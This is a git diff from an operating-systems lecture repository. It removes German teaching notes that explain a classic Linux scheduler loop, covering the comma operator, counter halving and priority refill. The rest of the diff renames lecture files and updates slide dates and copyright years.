-                   Die Zeile enhält einen Komma-Operator:
-
-                     c = (*p)->counter, next = i;
-
-                   "Berechne den Ausdruck 'c = (*p)->counter', vergiß ihn wieder,
-                   und berechne stattdessen den Ausdruck 'next = i'."
-                   Das Ergebnis des Ausdrucks wird dann wieder verworfen.
-                   Beide Teilausdrücke haben jedoch Seiteneffekte, nämlich die
-                   Zuweisungen.
-
-                   --> "c = (*p)->counter, next = i;" führt in einem Befehl zwei
-                       Zuweisungen aus. Dies funktioniert nur, weil beide Ausdrücke
-                       denselben Typ (int) haben.
-                       Wir sparen uns auf diese Weise ein Semikolon und ein Paar
-                       geschweifter Klammern. (Jedoch keine Rechenzeit. Der erzeugte
-                       Code ist identisch.)
-
---------------------------------------------------------------------------------
-
-		if (c) break;  /* c kann nur 0 sein, wenn alle counter 0 sind. */
-
-                /* Wenn alle counter 0 sind, verteile die Rechenzeit neu. */
-
-		for(p = &LAST_TASK ; p > &FIRST_TASK ; --p)
-			if (*p)
-				(*p)->counter = ((*p)->counter >> 1) +
-						(*p)->priority;
-
-              Wenn kein Programm mehr einen (*p)->counter > 0 hat,
-              bekommen alle Programme neue Rechenzeit zugewiesen,
-              nämlich ihre (*p)->priority plus den verbleibenden counter >> 1.
-
-              counter >> 1  ist dasselbe wie  counter / 2.
-
-              Wieso berücksichtigen wir den counter, wenn der doch = 0 ist?
-
-              Wegen der zusätzlichen Bedingung mit TASK_RUNNING
-
-			if ((*p)->state == TASK_RUNNING && (*p)->counter > c)
-				c = (*p)->counter, next = i;
-
-              werden bei der Ermittlung von c nur solche Programme berücksichtigt,
-              deren status == TASK_RUNNING ist, also nur Programme, die tatsächlich
-              Rechenzeit haben wollen. Programme, die auf etwas warten, können einen
-              counter > 0 haben, ohne daß dadurch c > 0 würde.
-              (Beispiel: Programm, das auf einen Tastendruck wartet)
-
-              Ergebnis: Bei der Zuteilung neuer Rechenzeit kann man Rechenzeit
-              "ansparen", aber nicht unbegrenzt (weil wir durch 2 dividieren).
-              Rechenzeit verfällt daher exponentiell, wächst gleichzeitig linear,
-              bleibt daher endlich.
-
-              Gesamtergebnis: Interaktive Programme können, während sie auf einen
-              Tastendruck warten, Rechenzeit "ansparen", die sie dann zur Verfügung
-              haben, sobald der Tastendruck kommt.
-
diff --git a/20220314/Operating_system_placement-de.pdf b/20230313/Operating_system_placement-de.pdf
similarity index 100%
rename from 20220314/Operating_system_placement-de.pdf
rename to 20230313/Operating_system_placement-de.pdf
diff --git a/20220321/bs-20220321.pdf b/20230313/bs-20230313.pdf
similarity index 98%
rename from 20220321/bs-20220321.pdf
rename to 20230313/bs-20230313.pdf
index 34dc6c31ae56edb26adac97ac45c7afd420e7544..81d1383977c3104198115064ed2502ef7ae81561 100644
Binary files a/20220321/bs-20220321.pdf and b/20230313/bs-20230313.pdf differ
diff --git a/20220321/bs-20220321.tex b/20230313/bs-20230313.tex
similarity index 99%
rename from 20220321/bs-20220321.tex
rename to 20230313/bs-20230313.tex
index 9b5a1f75c91f9acb1844ca4b7c0ff1f3a3c8945a..4eb72357ca4bead19004525bcd68f755d07dbc53 100644
--- a/20220321/bs-20220321.tex
+++ b/20230313/bs-20230313.tex
@@ -1,5 +1,5 @@
-% bs-20220321.pdf - Lecture Slides on Operating Systems
-% Copyright (C) 2014, 2015, 2016, 2017, 2018, 2019, 2020, 2021, 2022  Peter Gerwinski
+% bs-20230313.pdf - Lecture Slides on Operating Systems
+% Copyright (C) 2014, 2015, 2016, 2017, 2018, 2019, 2020, 2021, 2022, 2023  Peter Gerwinski
 %
 % This document is free software: you can redistribute it and/or
 % modify it either under the terms of the Creative Commons
@@ -41,7 +41,7 @@
 
 \title{Treiberentwicklung,\\[\medskipamount]Echtzeit- und Betriebssysteme}
 \author{Prof.\ Dr.\ rer.\ nat.\ Peter Gerwinski}
-\date{21.\ März 2022}
+\date{13.\ März 2023}
 
 \begin{document}
 
@@ -55,7 +55,7 @@
         \put(0.4,1.05){\makebox(0,0)[t]{$\underbrace{\rule{1.45cm}{0pt}}_{%
           \mbox{\emph{rerum naturalium\/} = der natürlichen Dinge (lat.)}}$}}
       \end{picture}%
-        21.\ März 2022\kern0.5pt}
+        13.\ März 2023\kern0.5pt}
 
 \maketitleframe
 
diff --git a/20220314/logo-hochschule-bochum-cvh-text.pdf b/20230313/logo-hochschule-bochum-cvh-text.pdf
similarity index 100%
rename from 20220314/logo-hochschule-bochum-cvh-text.pdf
rename to 20230313/logo-hochschule-bochum-cvh-text.pdf
diff --git a/20220314/logo-hochschule-bochum.pdf b/20230313/logo-hochschule-bochum.pdf
similarity index 100%
rename from 20220314/logo-hochschule-bochum.pdf
rename to 20230313/logo-hochschule-bochum.pdf
diff --git a/20220314/pgslides.sty b/20230313/pgslides.sty
similarity index 100%
rename from 20220314/pgslides.sty
rename to 20230313/pgslides.sty
diff --git a/20220314/unix-20220314.pdf b/20230313/unix-20230313.pdf
similarity index 99%
rename from 20220314/unix-20220314.pdf
rename to 20230313/unix-20230313.pdf
index 7e886e51bbe00b830b1fa203648ded03ab320a36..813468d7dcc1689a43447e996854c5ba7a6a76ed 100644
Binary files a/20220314/unix-20220314.pdf and b/20230313/unix-20230313.pdf differ
diff --git a/20220314/unix-20220314.tex b/20230313/unix-20230313.tex
similarity index 99%
rename from 20220314/unix-20220314.tex
rename to 20230313/unix-20230313.tex
index 09419e7581df465fe85f93cd4754a86a3907ff18..7b7f747a75e7891bd4e8ef41436b727f4fda21ae 100644
--- a/20220314/unix-20220314.tex
+++ b/20230313/unix-20230313.tex
@@ -1,5 +1,5 @@
-% unix-20220314.pdf - Lecture Slides on Unix Fundamentals
-% Copyright (C) 2013, 2015, 2016, 2017, 2018, 2021, 2022  Peter Gerwinski
+% unix-20230313.pdf - Lecture Slides on Unix Fundamentals
+% Copyright (C) 2013, 2015, 2016, 2017, 2018, 2021, 2022, 2023  Peter Gerwinski
 %
 % This document is free software: you can redistribute it and/or
 % modify it either under the terms of the Creative Commons
@@ -30,7 +30,7 @@
 
 \title{Einführung in Unix}
 \author{Prof.\ Dr.\ rer.\ nat.\ Peter Gerwinski}
-\date{14.\ März 2022}
+\date{13.\ März 2023}
 
 \begin{document}